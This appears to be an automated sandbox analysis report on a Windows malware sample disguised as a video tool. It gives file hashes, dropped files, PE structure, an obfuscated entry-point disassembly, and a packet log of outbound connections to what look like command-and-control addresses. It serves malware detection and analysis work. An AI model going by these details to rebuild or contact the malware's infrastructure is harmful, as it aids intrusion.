Preview:	***** Repair of database 'd' started [ESENT version 06.02.9200.0000, (ESENT[6.2.9200.0] RETAIL RTM MBCS)]....search for 'ERROR:' to find errors..search for 'WARNING:' to find warnings..checking database header..ERROR: database was not shutdown cleanly (Dirty Shutdown)..database file "d" is 26738688 bytes..database file "d" is 26738688 bytes on disk...Creating 16 threads..checking SystemRoot..SystemRoot (OE)..ERROR: page 2: dbtime is larger than database dbtime (0x40e3, 0x3f1b)..SystemRoot (AE)..ERROR: page 3: dbtime is larger than database dbtime (0x40e5, 0x3f1b)..checking system tables..MSysObjects ..MSysObjectsShadow ..MSysObjects:.3628:.ERROR: page 13: dbtime is larger than database dbtime (0x3ff3, 0x3f1b)..MSysObjects:.3628:.ERROR: page 14: dbtime is larger than database dbtime (0x4053, 0x3f1b)..MSysObjects:.3628:.ERROR: page 19: dbtime is larger than database dbtime (0x4138, 0x3f1b)..MSysObjects Name..MSysObjects RootObjects..MSysObjectsShadow:.3628:.ERROR: page 27: dbtime is larg

C:\Users\user\Desktop\d.jfm

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.14764225856618593
Encrypted:	false
SSDEEP:	3:Y/ckj0PaSjb8rbjvsfSj1lJ68njm8illLk1llesHTek9k3/vk7Aank/nVlYcnmlW:YJ8ZE/lxqtscEMWfdS98lv3kEbq
MD5:	541E6AA608F7B882E3A7A35717BA3422
SHA1:	711FDD7F541E4EBB7CE766E2B998D373EAA61A68
SHA-256:	1C40B563AE86D2CFFC9BB1AC04B3B441F02806197479B26010750032677CCF47
SHA-512:	8742A993080687302491EA483440B8DE13D3C5392811971C48DE6EF27190667AD4A7FDAA197D93FCDD42AF7F5CE0788F7213894E0D72C2E1E56FD0F126AACE26
Malicious:	false
Reputation:	low
Preview:	.S......................................2....z1......z.......z/..............z/......z/..f._.....z....................-......z/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\tmp.edb

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6445b742, page size 32768, JustCreated, Windows version 0.0
Category:	dropped
Size (bytes):	3899392
Entropy (8bit):	0.026817206559103503
Encrypted:	false
SSDEEP:	48:DMyEraZqBatCCCCC3SSSSSSS/yVCCC52CCCs:DHSacSSSSSSS/bA
MD5:	25061DA0836FDA8E97378EF36AC2ABFE
SHA1:	BE5EF125E2EF1ADEBE2211B387FEBF2AAF12947A
SHA-256:	6F7EDF90E1C1D1D30230B7825173344D193A2F087FE8DAC92CE8FD00DBE40566
SHA-512:	A348AFD8D6F30564D69B03A54AD3936880D7EA158C5B416D057626D59E7E06FF6D858D7D970A638B7A618415F593BA4C784F772FEB08E376F93D04889ABFBD0E
Malicious:	false
Reputation:	low
Preview:	dE.B... .......@........ZF~0....z.................................................................................................................................................................................................................................................................................................................. ...................................................................................................................................................................................................................................................4..<0....z......................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\VlcpVideoV1.0.1\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3910656
Entropy (8bit):	7.8371926381443435
Encrypted:	false
SSDEEP:	98304:w9s1MuuckDr8MzdvX/Rn69WFTrKgVo5cPUjPPKw:wBuiDr8MRXBjF3NWcPUZ
MD5:	E33D877AEEC8818D72035377F935768D
SHA1:	4AC4A0A50C9EF6DA3054BD5323661F02D586C61C
SHA-256:	FBF66AA4641EE40B89B7ADEB3479C0E3366991EBBD22C513E25223AC62116141
SHA-512:	7F955BD759FDA37F1331C3825713A0D792E989914C432895C2429DE636B413B5B890A6D069A349FB200501A02CE0A749C362A30217E896B765F5C7273D783671
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Q.............T........&....0....S.1.P....1......S......C.>.....d..0.0....0.1.'...........G....0......Rich...........................PE..L......c..............................Y...........@.......................... [.....#.<.......................................Y.......Z.............................e~Y.8............................................................................text....`F.......'.................`....sejdata.....pF.......'............. ....idata........Y.......:.............@....rsrc.........Z.......:.............@....sejdata......[.......;.............@..@................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\VlcpVideoV1.0.1\SecuriteInfo.com.Win32.Malware-gen.30674.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.8371926381443435
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Win32.Malware-gen.30674.exe
File size:	3910656
MD5:	e33d877aeec8818d72035377f935768d
SHA1:	4ac4a0a50c9ef6da3054bd5323661f02d586c61c
SHA256:	fbf66aa4641ee40b89b7adeb3479c0e3366991ebbd22c513e25223ac62116141
SHA512:	7f955bd759fda37f1331c3825713a0d792e989914c432895c2429de636b413b5b890a6d069a349fb200501a02ce0a749c362a30217e896b765f5c7273d783671
SSDEEP:	98304:w9s1MuuckDr8MzdvX/Rn69WFTrKgVo5cPUjPPKw:wBuiDr8MRXBjF3NWcPUZ
TLSH:	F7063389EF296376D13A6830281315CCD1B109922EB5DAB72FE5678979353BED0B7303
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Q.................T.........&.....0.....S.1.P.....1.......S.......C.>.......d...0.0.....0.1.'.............G.....0.......Rich...

File Icon


Icon Hash:	fed59db5a5b8c0c1

Static PE Info

General

Entrypoint:	0x99d797
Entrypoint Section:	.sejdata
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x631AAC11 [Fri Sep 9 02:59:29 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	c21097c2852315e171a310c6ddb24202

Entrypoint Preview

Instruction
call 00007FCDC8B9C5B1h
push ebx
popad
outsb
imul ebp, dword ptr [bp+65h], 69685320h
insb
outsb
and byte ptr [esi+32h], dh
xor ebp, dword ptr [esi]
aaa
xor byte ptr [eax], al
pushfd
sub esp, 07h
push di
lea esp, dword ptr [esp+01h]
jmp 00007FCDC8B9C536h
neg edx
cmc
xchg bx, bp
rcl edx, cl
lea ebx, dword ptr [ebx+esi]
mov bp, E12Fh
jmp 00007FCDC8B9C5C5h
loopne 00007FCDC8B9C5B5h
pop edx
mov ch, A4h
xlatb
mov dword ptr [esp], ebx
bsr bp, dx
rcl ebx, 09h
sub esp, 06h
mov byte ptr [esp+04h], dh
mov bl, ch
jmp 00007FCDC8B9C522h
mov bp, ax
mov edx, ebp
rcr bl, cl
lea edx, dword ptr [00000000h+esi*4]
pushfd
rcl dl, cl
jmp 00007FCDC8B9C5AEh
or dword ptr [eax+1C8D62CBh], ebp
test dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [ebp+0000952Ch], cl
add byte ptr [eax], al
inc ebx
mov edx, dword ptr [esp]
push edx
mov bh, E5h
jmp 00007FCDC8B9C563h
mov bp, EF86h
push dword ptr [esp+01h]
mov bh, al
cmp edx, 49086666h
mov dword ptr [esp+04h], edi
bswap edx
jmp 00007FCDC8B9C5E3h

Rich Headers

Programming Language:

[C++] VS2008 SP1 build 30729
[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2013 UPD2 build 30501
[C++] VS2013 UPD2 build 30501
[RES] VS2013 build 21005
[LNK] VS2013 UPD2 build 30501

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x59f109	0x1e0	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5a0000	0x11000	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x597e65	0x38	.sejdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x466000	0x270200	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.sejdata	0x467000	0x138000	0x138000	False	0.7614182692307693	data	7.272676176882863	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_NOT_PAGED, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x59f000	0x1000	0x600	False	0.4576822916666667	data	4.3766516706938425	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_NOT_PAGED, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5a0000	0x11000	0x11000	False	0.7925809972426471	data	7.1413792690488425	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.sejdata	0x5b1000	0x1000	0x1000	False	0.7802734375	data	7.981353523928969	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x5a0370	0x668	data	Chinese	China
RT_ICON	0x5a09d8	0x2e8	dBase IV DBT of @.DBF, block length 512, next free block index 40, next free block 4177526664, next used block 8423560	Chinese	China
RT_ICON	0x5a0cc0	0x1e8	data	Chinese	China
RT_ICON	0x5a0ea8	0x128	GLS_BINARY_LSB_FIRST	Chinese	China
RT_ICON	0x5a0fd0	0xea8	data	Chinese	China
RT_ICON	0x5a1e78	0x8a8	dBase IV DBT of @.DBF, block length 1024, next free block index 40, next free block 15198442, next used block 15329770	Chinese	China
RT_ICON	0x5a2720	0x6c8	data	Chinese	China
RT_ICON	0x5a2de8	0x568	GLS_BINARY_LSB_FIRST	Chinese	China
RT_ICON	0x5a3350	0x9087	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	Chinese	China
RT_ICON	0x5ac3d8	0x25a8	data	Chinese	China
RT_ICON	0x5ae980	0x10a8	data	Chinese	China
RT_ICON	0x5afa28	0x988	data	Chinese	China
RT_ICON	0x5b03b0	0x468	GLS_BINARY_LSB_FIRST	Chinese	China
RT_GROUP_ICON	0x5b0818	0xbc	data	Chinese	China
RT_VERSION	0x5b08d4	0x304	data	Chinese	China
RT_MANIFEST	0x5b0bd8	0x280	XML 1.0 document text	English	United States

Imports

DLL	Import
KERNEL32.dll	CreateTimerQueueTimer
USER32.dll	SetFocus
GDI32.dll	GetViewportExtEx
ADVAPI32.dll	RegCreateKeyExW
SHELL32.dll	SHGetSpecialFolderPathW
ole32.dll	CLSIDFromProgID
MSIMG32.dll	TransparentBlt
COMCTL32.dll	InitCommonControlsEx
SHLWAPI.dll	PathFindExtensionW
UxTheme.dll	IsAppThemed
oledlg.dll	OleUIBusyW
gdiplus.dll	GdipDrawImageRectI
WS2_32.dll	WSAStartup
WININET.dll	InternetCloseHandle
IPHLPAPI.DLL	GetAdaptersInfo
WINHTTP.dll	WinHttpQueryHeaders
QUARTZ.dll	AMGetErrorTextW
OLEACC.dll	LresultFromObject
IMM32.dll	ImmReleaseContext
WINMM.dll	PlaySoundW
WINSPOOL.DRV	ClosePrinter
MSVCRT.dll	strncpy
PSAPI.DLL	GetMappedFileNameW

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 9, 2022 18:00:12.113257885 CEST	49722	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:00:12.139354944 CEST	80	49722	103.136.42.153	192.168.2.7
Sep 9, 2022 18:00:12.139501095 CEST	49722	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:00:12.153244019 CEST	49722	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:00:12.181356907 CEST	80	49722	103.136.42.153	192.168.2.7
Sep 9, 2022 18:00:12.182327986 CEST	80	49722	103.136.42.153	192.168.2.7
Sep 9, 2022 18:00:12.339617968 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.339659929 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.339770079 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.345295906 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.345329046 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.356105089 CEST	49722	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:00:12.401205063 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.401309013 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.678325891 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.678407907 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.679029942 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.682370901 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.682497025 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.871403933 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.871619940 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.871709108 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.871809006 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.871948004 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.871990919 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.872006893 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.872088909 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.873369932 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.873508930 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.875641108 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.875722885 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.875761986 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.875787973 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.875865936 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.888731003 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.888789892 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.888816118 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.888847113 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.888936043 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.889903069 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.889995098 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.890014887 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.891494989 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.891563892 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.891565084 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.891592026 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.891704082 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.893142939 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.893345118 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.894252062 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.894329071 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.894340038 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.894371986 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.894460917 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.895513058 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.895581961 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.895617008 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.895637035 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.895756960 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.896739960 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.896819115 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.896878958 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.896909952 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.897053003 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.897593975 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.897804976 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.898963928 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.899056911 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.899386883 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.899480104 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.899645090 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.899667025 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.899687052 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.899785042 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.905977011 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.906055927 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.906069994 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.906096935 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.906205893 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.906627893 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.906697989 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.906724930 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.907414913 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.907496929 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.907496929 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.907521009 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.907701015 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.908014059 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.908075094 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.908090115 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.908111095 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.908159971 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.908699036 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.908765078 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.908775091 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.908797026 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.908843994 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.909499884 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.909559965 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.910243034 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.910303116 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.910340071 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.910356045 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.910384893 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.910408020 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.910423040 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.910474062 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.911451101 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.911510944 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.911511898 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.911526918 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.911578894 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.911578894 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.911592007 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.911648035 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.912615061 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.912669897 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.912703991 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.912720919 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.912841082 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.913017988 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.913088083 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.913099051 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.913110971 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.913165092 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.913172960 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.913209915 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.913312912 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.914253950 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.914361000 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.914443970 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.914462090 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.914515018 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.914715052 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.914776087 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.914902925 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.914968967 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.914983034 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.915055037 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.916517019 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.916587114 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.916629076 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.916671038 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.916766882 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.916791916 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.916870117 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.916981936 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.917035103 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.917062044 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.917078972 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.917099953 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.917179108 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.917195082 CEST	443	49723	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:12.917371988 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:12.919436932 CEST	49723	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:30.500274897 CEST	49731	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:00:30.530987978 CEST	80	49731	103.136.42.153	192.168.2.7
Sep 9, 2022 18:00:30.531232119 CEST	49731	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:00:30.535121918 CEST	49731	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:00:30.565764904 CEST	80	49731	103.136.42.153	192.168.2.7
Sep 9, 2022 18:00:30.566921949 CEST	80	49731	103.136.42.153	192.168.2.7
Sep 9, 2022 18:00:30.607641935 CEST	49731	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:00:31.044817924 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.044873953 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.046120882 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.051467896 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.051513910 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.101464033 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.101569891 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.609781027 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.609810114 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.610145092 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.614217997 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.614434004 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.816673994 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.816848993 CEST	443	49732	157.240.236.35	192.168.2.7
